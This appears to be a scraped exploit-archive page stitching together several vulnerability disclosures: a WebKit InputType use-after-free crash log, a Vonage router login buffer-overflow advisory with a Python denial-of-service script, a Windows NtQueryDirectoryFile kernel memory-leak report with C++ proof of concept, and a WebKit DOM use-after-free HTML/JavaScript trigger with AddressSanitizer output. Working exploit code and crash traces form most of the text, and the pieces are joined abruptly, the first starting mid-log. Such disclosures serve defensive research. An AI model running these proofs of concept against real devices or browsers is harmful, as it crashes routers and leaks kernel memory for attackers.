    #23 0x1118b7010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #24 0x1118b6ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #25 0x11187eb97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #26 0x11187ef3e in WebCore::MouseOrFocusEventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984f3e)
    #27 0x11187fb2f in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985b2f)
    #28 0x11187f553 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985553)
    #29 0x11184fe15 in WebCore::Element::dispatchFocusEvent(WTF::RefPtr<WebCore::Element>&&, WebCore::FocusDirection) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x955e15)

previously allocated by thread T0 here:
    #0 0x10a37dd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11e0c9ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11e0c7d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11e04e247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11e04d63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x111f09398 in WebCore::InputType::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x100f398)
    #7 0x111f09059 in std::__1::unique_ptr<WebCore::InputType, std::__1::default_delete<WebCore::InputType> > WebCore::createInputType<WebCore::TelephoneInputType>(WebCore::HTMLInputElement&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x100f059)
    #8 0x111f03bbb in WebCore::InputType::create(WebCore::HTMLInputElement&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1009bbb)
    #9 0x111c89e0a in WebCore::HTMLInputElement::initializeInputType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd8fe0a)
    #10 0x1118488aa in WebCore::Element::parserSetAttributes(WTF::Vector<WebCore::Attribute, 0ul, WTF::CrashOnOverflow, 16ul> const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94e8aa)
    #11 0x111c09da3 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0fda3)
    #12 0x111c08ff7 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0eff7)
    #13 0x111c0a413 in WebCore::HTMLConstructionSite::insertSelfClosingHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd10413)
    #14 0x111d724eb in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe784eb)
    #15 0x111d6ef13 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe74f13)
    #16 0x111d6cd0e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe72d0e)
    #17 0x111c35c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #18 0x111c35849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #19 0x111c349c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #20 0x111c364e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #21 0x111614531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #22 0x11175163d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #23 0x111712736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #24 0x11118e047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #25 0x111186df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #26 0x113c5e661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #27 0x107c4643b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #28 0x107c496d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #29 0x107c48bc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20654a) in WebCore::InputType::element() const
Shadow bytes around the buggy address:
  0x1c100000bb40: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000bb50: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000bb60: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000bb70: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000bb80: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c100000bb90: fa fa fa fa fd[fd]fd fd fd fd fd fd fd fd fd fa
  0x1c100000bba0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000bbb0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000bbc0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000bbd0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000bbe0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==29682==ABORTING
*/
HireHackking 
Overview
During an evaluation of the Vonage home phone router, it was identified that the loginUsername and loginPassword parameters were vulnerable to a buffer overflow. This overflow caused the router to crash and reboot. Further analysis will be performed to find out if the the crash is controllable and allow for full remote code execution.

Device Description:
1 port residential gateway

Hardware Version:
VDV-23: 115

Original Software Version:
3.2.11-0.9.40

Exploitation Writeup
This exploit was a simple buffer overflow. The use of spike fuzzer took place to identify the crash condition. When the application crashes, the router reboots causing a denial of service condition. The script below was further weaponized to sleep for a 60 second period while the device rebooted then continue one execution after another.

Proof of concept code:
The code below was used to exploit the application. This testing was only performed against denial of service conditions. The crash that was experienced potentially holds the ability to allow remote code execution. Further research will be performed against the device.

DOSTest.py

import requests

passw = 'A' * 10580
post_data = {'loginUsername':'router', 'loginPassword':passw, 'x':'0', 'y':'0'}

post_response = requests.post(url='http://192.168.15.1/goform/login', data=post_data)
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1361

We have discovered that the nt!NtQueryDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients on Windows 10, due to uninitialized fields in the output structure being copied to the application.

The problem manifests itself for information classes FileBothDirectoryInformation and FileIdBothDirectoryInformation, which use the following (or similar) structure:

--- cut ---
  typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG         NextEntryOffset;
    ULONG         FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG         FileAttributes;
    ULONG         FileNameLength;
    ULONG         EaSize;
    CCHAR         ShortNameLength;
    WCHAR         ShortName[12];
    WCHAR         FileName[1];
  } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
--- cut ---

We have found that for certain files, such as C:\Windows\explorer.exe, the "ShortNameLength" and "ShortName" fields are not initialized at any point before being passed to a ring-3 client. This leaves 25 bytes of leftover kernel pool memory which can be acquired in a single system call by a malicious local program.

The pool allocation used to store the above structure is made in luafv!LuafvAllocatePool. The act of copying uninitialized kernel memory to user-mode was originally detected under the following stack trace:

--- cut ---
  a0e90a28 9d2fb7a6 nt!memcpy+0x35
  a0e90a50 9d2fecf4 luafv!LuafvCopyDirectoryEntry+0x52
  a0e90a98 9d2fb577 luafv!LuafvCopyNextDirectoryEntry+0x365c
  a0e90b14 9d2f8afc luafv!LuafvMergeStoreDirectory+0x93
  a0e90b60 9d2f8118 luafv!LuafvQueryStoreDirectory+0xdc
  a0e90b7c 89a5328d luafv!LuafvPreDirectoryControl+0xa8
  90289adc 8e2bf040 FLTMGR!FltpPerformPreCallbacks+0x2ad
  WARNING: Frame IP not in any known module. Following frames may be wrong.
  a0e90c20 89a52bf3 0x8e2bf040
  a0e90c58 89a52a0b FLTMGR!FltpPassThrough+0x163
  a0e90c80 81cb6f53 FLTMGR!FltpDispatch+0x9b
  a0e90c9c 81f0c273 nt!IofCallDriver+0x43
  a0e90cf0 81f0ac7f nt!IopSynchronousServiceTail+0x133
  a0e90d20 81d51c97 nt!NtQueryDirectoryFile+0x5f
  a0e90d20 77a74d10 nt!KiSystemServicePostCall
  00cadc48 77a727ba ntdll!KiFastSystemCallRet
  00cadc4c 747ac7f0 ntdll!NtQueryDirectoryFile+0xa
  00cadf58 747ac486 KERNELBASE!FindFirstFileExW+0x360
  00cadf78 747b3d18 KERNELBASE!FindFirstFileW+0x16
  00cae234 00d48a65 KERNELBASE!GetLongPathNameW+0x208
--- cut ---

when smartscreen.exe called the documented GetLongPathNameW API against "C:\Windows\explorer.exe".

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for luafv.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,..
00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,..........
00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A.....
00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... .......
00000040: e1 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 .....EEEEEEEEEEE
00000050: 45 45 45 45 45 45 45 45 45 45 45 45 45 45 65 00 EEEEEEEEEEEEEEe.
00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r...
00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,..
00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,..........
00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A.....
00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... .......
00000040: e1 00 00 00 00 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d .....===========
00000050: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 65 00 ==============e.
00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r...
00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

#define FileBothDirectoryInformation ((FILE_INFORMATION_CLASS)3)

extern "C"
NTSTATUS WINAPI NtQueryDirectoryFile(
  _In_     HANDLE                 FileHandle,
  _In_opt_ HANDLE                 Event,
  _In_opt_ PIO_APC_ROUTINE        ApcRoutine,
  _In_opt_ PVOID                  ApcContext,
  _Out_    PIO_STATUS_BLOCK       IoStatusBlock,
  _Out_    PVOID                  FileInformation,
  _In_     ULONG                  Length,
  _In_     FILE_INFORMATION_CLASS FileInformationClass,
  _In_     BOOLEAN                ReturnSingleEntry,
  _In_opt_ PUNICODE_STRING        FileName,
  _In_     BOOLEAN                RestartScan
  );

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open the disk device.
  HANDLE hDir = CreateFile(L"C:\\Windows", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
  if (hDir == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }

  // Obtain the output data, assuming that it will fit into 1024 bytes.
  IO_STATUS_BLOCK iosb;
  UNICODE_STRING FileName;
  RtlInitUnicodeString(&FileName, L"explorer.exe");

  BYTE OutputBuffer[1024];
  RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));

  NTSTATUS st = NtQueryDirectoryFile(hDir, NULL, NULL, NULL, &iosb, OutputBuffer, sizeof(OutputBuffer), FileBothDirectoryInformation, TRUE, &FileName, FALSE);
  if (NT_SUCCESS(st)) {
    PrintHex(OutputBuffer, iosb.Information);
  } else {
    printf("NtQueryDirectoryFile failed, %x\n", st);
  }
    
  CloseHandle(hDir);

  return 0;
}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1344

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<script>
function freememory() {
 var a;
 for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
 }
}
function go() {
  var v = document.getElementById("v");
  o.defaultValue = "x";
  a.appendChild(v);
  freememory();
}
function eventhandler2() {
  var d = document.implementation.createHTMLDocument("doc");
  var s = d.createElement("script");
  s.prepend(v);
}
function eventhandler1() {
  v.appendChild(o);
  o.addEventListener("DOMNodeRemoved", eventhandler2);
}
</script>
<body onload=go()>
</select>
<a id="a"></a>
<output id="o">foo</output>
<video id="v"></video>
<svg>
<text onload="eventhandler1()" />

/*
=================================================================

ASan log:

=================================================================
==29647==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00005d0d8 at pc 0x00010a64aa4b bp 0x7fff5b813380 sp 0x7fff5b813378
READ of size 8 at 0x61e00005d0d8 thread T0
==29647==WARNING: invalid path to external symbolizer!
==29647==WARNING: Failed to use and restart external symbolizer!
    #0 0x10a64aa4a in WebCore::TreeScope::documentScope() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5a4a)
    #1 0x10aa1044f in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cb44f)
    #2 0x10b4602bd in WebCore::HTMLScriptElement::~HTMLScriptElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe1b2bd)
    #3 0x1188b9845 in void JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(void*)::operator()(void*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1410845)
    #4 0x1188b98fa in void JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x14108fa)
    #5 0x1188b5fcd in void JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x140cfcd)
    #6 0x1188afced in void JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1406ced)
    #7 0x1188af34e in void JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::FreeList*, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x140634e)
    #8 0x1188aefa2 in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::FreeList*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1405fa2)
    #9 0x118b641ab in JSC::MarkedBlock::Handle::sweep(JSC::FreeList*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16bb1ab)
    #10 0x118b5f2e2 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16b62e2)
    #11 0x118b5ec1a in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16b5c1a)
    #12 0x118b5fce6 in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16b6ce6)
    #13 0x118f305f2 in JSC::Subspace::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1a875f2)
    #14 0x10b9f5219 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13b0219)
    #15 0x10b9f4e89 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13afe89)
    #16 0x10b9f4dcb in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13afdcb)
    #17 0x10b9f4b99 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13afb99)
    #18 0x10b9f482d in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13af82d)
    #19 0x10b9f49f8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13af9f8)
    #20 0x10c0407ce in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19fb7ce)
    #21 0x10b41b57b in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdd657b)
    #22 0x10bc3fe80 in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x15fae80)
    #23 0x10d061fa3 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a1cfa3)
    #24 0x10479c7a6 in WebCore::ScriptController::windowProxy(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3957a6)
    #25 0x104799e28 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x392e28)
    #26 0x104b78fc4 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x771fc4)
    #27 0x7fffe652f9e1 in Safari::WebFeedFinderController::WebFeedFinderController(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x55e9e1)
    #28 0x7fffe6089a67 in Safari::BrowserBundlePageController::determineWebFeedInformation(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xb8a67)
    #29 0x7fffe60970b1 in Safari::BrowserBundlePageLoaderClient::didFinishLoadForFrame(Safari::WK::BundlePage const&, Safari::WK::BundleFrame const&, Safari::WK::Type&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xc60b1)
    #30 0x7fffe617121c in Safari::WK::didFinishLoadForFrame(OpaqueWKBundlePage const*, OpaqueWKBundleFrame const*, void const**, void const*) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x1a021c)
